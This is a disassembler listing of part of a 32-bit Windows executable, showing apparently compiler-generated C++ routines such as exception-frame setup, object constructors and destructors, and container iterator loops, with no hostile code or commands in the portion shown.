		mov	ecx, [esp+10h]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414C70	proc near		; CODE XREF: sub_4011C7j
		push	esi
		mov	esi, ecx
		call	sub_401B45
sub_414C70	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_414C88
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414C88:				; CODE XREF: ___:00414C7Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414CA0	proc near		; CODE XREF: sub_401B45j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414CA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+54h]
		mov	[esp+14h+var_4], 3
		call	sub_401578
sub_414CA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+10h], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414D40	proc near		; CODE XREF: sub_4014BFj

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_414D40
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	ebx
		push	esi
		mov	esi, [esp+54h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414E3B
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	eax
		call	sub_4014C9
		sub	esp, 18h
		mov	[esp+88h+var_4], 0
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	offset byte_446F60
		call	sub_401861
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_448C8E
		mov	[esp+88h+var_4], ebx
		call	sub_40210D
		test	al, al
		jz	loc_414F70
		push	0
		push	5
		push	19h
		push	2
		push	4
		push	0Fh
		push	0Fh
		lea	ecx, [esp+74h+var_3C]
		push	21h
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 1
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414E3B:				; CODE XREF: sub_414D40+36j
		lea	ecx, [edi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414F70
		sub	esp, 18h
		lea	edx, [esi+54h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	edx
		call	sub_4014C9
		sub	esp, 18h
		lea	eax, [esi+3Fh]
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	eax
		mov	[esp+8Ch+var_4], 2
		call	sub_4014C9
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0A0h+var_48], esp
		push	edx
		mov	byte ptr [esp+0A4h+var_4], 3
		call	sub_4014C9
		sub	esp, 18h
		mov	ecx, esi
		mov	eax, esp
		mov	[esp+0B8h+var_44], esp
		push	1
		push	offset asc_443600 ; " "
		push	2
		push	eax
		mov	byte ptr [esp+0C8h+var_4], 4
		call	sub_4011EA
		sub	esp, 18h
		mov	byte ptr [esp+0D0h+var_4], 5
		mov	ecx, esp
		mov	[esp+0D0h+var_40], esp
		push	1
		push	offset asc_443600 ; " "
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_448C8E
		mov	[esp+0D0h+var_4], ebx
		call	sub_40189D
		test	al, al
		jz	short loc_414F70
		push	0
		push	4
		push	5
		push	14h
		push	10h
		push	5
		push	3
		push	3
		lea	edx, [esp+78h+var_24]
		push	1Bh
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 6
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+58h+var_24]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414F70:				; CODE XREF: sub_414D40+82j
					; sub_414D40+10Dj ...
		mov	ecx, [esp+58h+var_C]
		pop	edi
		pop	esi
		xor	al, al
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 4Ch
		retn	4
sub_414D40	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415030	proc near		; CODE XREF: sub_40132Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401EBA
sub_415030	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415070	proc near		; CODE XREF: sub_40171Cj

arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		push	0
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_401EBA
sub_415070	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esi+4], eax
		push	ecx
		mov	ecx, edi
		mov	dword ptr [esi+8], 0
		call	sub_4016CC
		mov	edx, [eax]
		lea	eax, [esp+8]
		push	edx
		push	eax
		mov	ecx, edi
		call	sub_40113B
		mov	ecx, [eax]
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		mov	ecx, esi
		push	eax
		call	sub_40172B
		mov	eax, esi
		pop	edi
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4150F0	proc near		; CODE XREF: sub_401578j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D89
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401465
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401CD5
sub_4150F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415160	proc near		; CODE XREF: sub_4012E9j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401DA7
		mov	eax, esi
		pop	esi
		retn	4
sub_415160	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4151A0	proc near		; CODE XREF: sub_401D89j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401DA7
		mov	eax, esi
		pop	esi
		retn	4
sub_4151A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4151D0	proc near		; CODE XREF: sub_40147Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401D89
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40215D
sub_4151D0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415210	proc near		; CODE XREF: sub_401258j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D89
		lea	ecx, [esp+10h+var_C]
		push	ecx
		mov	ecx, esi
		call	sub_4012E9
		lea	edx, [esp+10h+var_8]
		lea	ecx, [esp+10h+var_C]
		push	edx
		call	sub_401D5C
		test	al, al
		jz	short loc_415291
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_415243:				; CODE XREF: sub_415210+7Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_401FA5
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_415275
		lea	ecx, [esp+14h+arg_0]
		push	0
		push	ecx
		lea	ecx, [esp+1Ch+var_C]
		call	sub_40156E
		mov	edx, [eax]
		lea	eax, [esp+14h+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401FAF
; ---------------------------------------------------------------------------
		jmp	short loc_41527E
; ---------------------------------------------------------------------------


loc_415275:				; CODE XREF: sub_415210+42j
		lea	ecx, [esp+14h+var_C]
		call	sub_4020A4


loc_41527E:				; CODE XREF: sub_415210+63j
		lea	ecx, [esp+14h+var_8]
		push	ecx
		lea	ecx, [esp+18h+var_C]
		call	sub_401D5C
		test	al, al
		jnz	short loc_415243
		pop	edi


loc_415291:				; CODE XREF: sub_415210+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415210	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152D0	proc near		; CODE XREF: sub_401E1Fj
		push	esi
		mov	esi, ecx
		call	sub_401EB5
		mov	eax, esi
		pop	esi
		retn
sub_4152D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152F0	proc near		; CODE XREF: sub_401FA5j
		mov	eax, [ecx]
		push	eax
		call	sub_401EFB
		add	esp, 4
		retn
sub_4152F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415310	proc near		; CODE XREF: sub_4020A4j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415310	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415340	proc near		; CODE XREF: sub_401D5Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015CD
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415340	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415370	proc near		; CODE XREF: sub_401F05j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401C7B
sub_415370	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4153B0	proc near		; CODE XREF: sub_4011B8j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401983
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401E1A
sub_4153B0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415420	proc near		; CODE XREF: sub_401983j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401CC6
		mov	eax, esi
		pop	esi
		retn	4
sub_415420	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415460	proc near		; CODE XREF: sub_402234j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401CC6
		mov	eax, esi
		pop	esi
		retn	4
sub_415460	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415490	proc near		; CODE XREF: sub_401EF1j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_402234
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A96
sub_415490	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4154D0	proc near		; CODE XREF: sub_401924j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401983
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		pop	esi
		add	esp, 0Ch
		retn
sub_4154D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415520	proc near		; CODE XREF: sub_401154j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		lea	ecx, [esp+10h+var_C]
		push	ecx
		mov	ecx, esi
		call	sub_401983
		lea	edx, [esp+10h+var_8]
		lea	ecx, [esp+10h+var_C]
		push	edx
		call	sub_401AD7
		test	al, al
		jz	short loc_4155A1
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_415553:				; CODE XREF: sub_415520+7Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4011D1
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_415585
		lea	ecx, [esp+14h+arg_0]
		push	0
		push	ecx
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4010DC
		mov	edx, [eax]
		lea	eax, [esp+14h+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4017DF
; ---------------------------------------------------------------------------
		jmp	short loc_41558E
; ---------------------------------------------------------------------------


loc_415585:				; CODE XREF: sub_415520+42j
		lea	ecx, [esp+14h+var_C]
		call	sub_4018B6


loc_41558E:				; CODE XREF: sub_415520+63j
		lea	ecx, [esp+14h+var_8]
		push	ecx
		lea	ecx, [esp+18h+var_C]
		call	sub_401AD7
		test	al, al
		jnz	short loc_415553
		pop	edi


loc_4155A1:				; CODE XREF: sub_415520+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415520	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4155E0	proc near		; CODE XREF: sub_401037j
		push	esi
		mov	esi, ecx
		call	sub_401E79
		mov	eax, esi
		pop	esi
		retn
sub_4155E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415600	proc near		; CODE XREF: sub_4011D1j
		mov	eax, [ecx]
		push	eax
		call	sub_402126
		add	esp, 4
		retn
sub_415600	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415620	proc near		; CODE XREF: sub_4018B6j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415620	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415650	proc near		; CODE XREF: sub_401AD7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401EA6
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415650	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415680	proc near		; CODE XREF: sub_401843j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401DA2
sub_415680	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4156C0	proc near		; CODE XREF: sub_4014B5j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4018F2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401401
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401EF6
sub_4156C0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415730	proc near		; CODE XREF: sub_4018F2j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401BB8
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D66
		mov	eax, esi
		pop	esi
		retn	4
sub_415730	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415770	proc near		; CODE XREF: sub_40114Aj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D66
		mov	eax, esi
		pop	esi
		retn	4
sub_415770	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4157A0	proc near		; CODE XREF: sub_401406j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401CFD
sub_4157A0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4157E0	proc near		; CODE XREF: sub_401C62j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4018F2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401401
		pop	esi
		add	esp, 0Ch
		retn
sub_4157E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415830	proc near		; CODE XREF: sub_402130j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		lea	ecx, [esp+10h+var_C]
		push	ecx
		mov	ecx, esi
		call	sub_4018F2
		lea	edx, [esp+10h+var_8]
		lea	ecx, [esp+10h+var_C]
		push	edx
		call	sub_401339
		test	al, al
		jz	short loc_4158B1
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_415863:				; CODE XREF: sub_415830+7Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_40135C
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_415895
		lea	ecx, [esp+14h+arg_0]
		push	0
		push	ecx
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401EA1
		mov	edx, [eax]
		lea	eax, [esp+14h+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		jmp	short loc_41589E
; ---------------------------------------------------------------------------


loc_415895:				; CODE XREF: sub_415830+42j
		lea	ecx, [esp+14h+var_C]
		call	sub_40118B


loc_41589E:				; CODE XREF: sub_415830+63j
		lea	ecx, [esp+14h+var_8]
		push	ecx
		lea	ecx, [esp+18h+var_C]
		call	sub_401339
		test	al, al
		jnz	short loc_415863
		pop	edi


loc_4158B1:				; CODE XREF: sub_415830+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415830	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4158F0	proc near		; CODE XREF: sub_402252j
		push	esi
		mov	esi, ecx
		call	sub_401E29
		mov	eax, esi
		pop	esi
		retn
sub_4158F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415910	proc near		; CODE XREF: sub_40135Cj
		mov	eax, [ecx]
		push	eax
		call	sub_4017DA
		add	esp, 4
		retn
sub_415910	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415930	proc near		; CODE XREF: sub_40118Bj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401BB8
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415930	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415960	proc near		; CODE XREF: sub_401339j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40144C
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415960	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415990	proc near		; CODE XREF: sub_40113Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401753
		mov	eax, esi
		pop	esi
		retn	4
sub_415990	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4159D0	proc near		; CODE XREF: sub_4016CCj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401753
		mov	eax, esi
		pop	esi
		retn	4
sub_4159D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415A00	proc near		; CODE XREF: sub_40215Dj

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C4E
		mov	edi, eax
		push	edi
		call	sub_401104
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401EBA
sub_415A00	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401104
		push	edi
		mov	[eax], ebx
		call	sub_401104
		mov	edi, [eax]
		push	edi
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_40208B
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401EFB
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_402194
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401DA7
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415AA0	proc near		; CODE XREF: sub_40172Bj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, ecx
		lea	eax, [esp+4+arg_8]
		lea	ecx, [esp+4+arg_4]
		push	eax
